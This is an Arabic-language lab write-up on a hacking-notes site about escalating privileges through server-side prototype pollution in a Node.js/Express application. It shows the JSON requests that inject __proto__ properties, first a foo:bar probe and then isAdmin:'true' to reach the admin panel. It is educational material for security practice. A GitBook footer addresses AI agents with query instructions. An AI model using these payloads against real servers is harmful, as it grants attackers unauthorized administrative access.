> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# تصعيد الامتيازات عبر تلوث البروتوتايب على جانب الخادم

### تصعيد الامتيازات عبر تلوث النموذج الأولي على جانب الخادم

#### سياق المختبر

التطبيق (Node.js + Express) **يقوم بدمج كائن JSON يتحكم فيه المستخدم** في كائن JavaScript على جانب الخادم، **دون تصفية** مفاتيح خطيرة مثل `__proto__`. / النتيجة: يمكننا **تلويث `Object.prototype`** وحقن خصائص ستُورَّث بواسطة كائنات أخرى.

في هذا المختبر، يسهل اكتشاف ذلك لأن **الخصائص الموروثة عبر سلسلة النموذج الأولي تظهر مرة أخرى في استجابة HTTP**.

<figure><img src="/files/27bc6a1d76cb567fe5eb00d961eb22b990fc624b" alt=""><figcaption></figcaption></figure>

### 1) نقطة الدخول (المصدر): طلب JSON لتحديث العنوان

**تحليل الطلب**

عند تحديث عنوان المستخدم، يرسل التطبيق في الخلفية طلب JSON التالي:

{% code overflow="wrap" %}

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

تحتوي استجابة الخادم على معلومات المستخدم، بما في ذلك الحقل الحساس:

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "isAdmin": false
}
```

**تحديد الثغرة**

إضافة `__proto__` مفتاح خاص إلى جسم JSON:

```json
"__proto__":  {
"foo":"bar"}
```

تعكس استجابة الخادم `foo` الخاصية.

```json
"foo":"bar"
}
```

هذا يؤكد أن:

* الخادم \*\*يدمج كائن المستخدم مباشرةً\*\*
* **تلوث النموذج الأولي العام (`Object.prototype`) ممكن**
* الخصائص الموروثة مرئية ويمكن استغلالها

<figure><img src="/files/d14108f8c604e78fbef389f71973d407633e02e2" alt=""><figcaption></figcaption></figure>

**العملية: زيادة الامتيازات**

الخاصية المثيرة للاهتمام هنا هي `isAdmin`، التي يستخدمها التطبيق لتحديد الامتيازات.

ثم يتم حقن هذه الخاصية في النموذج الأولي العام:

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**النتيجة**

* الـ `isAdmin` الخاصية موروثة الآن من `Object.prototype`
* أثناء عمليات التحقق من التفويض، يعتبر التطبيق المستخدم \*\*مسؤولاً\*\*

<figure><img src="/files/eb7a6badafc4314c4185c380e1ec7e68e74d1ce3" alt=""><figcaption></figcaption></figure>

* الوصول إلى `/admin` لوحة التحكم

<figure><img src="/files/6277a8f4316173fda065d00a4f8b2769f66a949f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
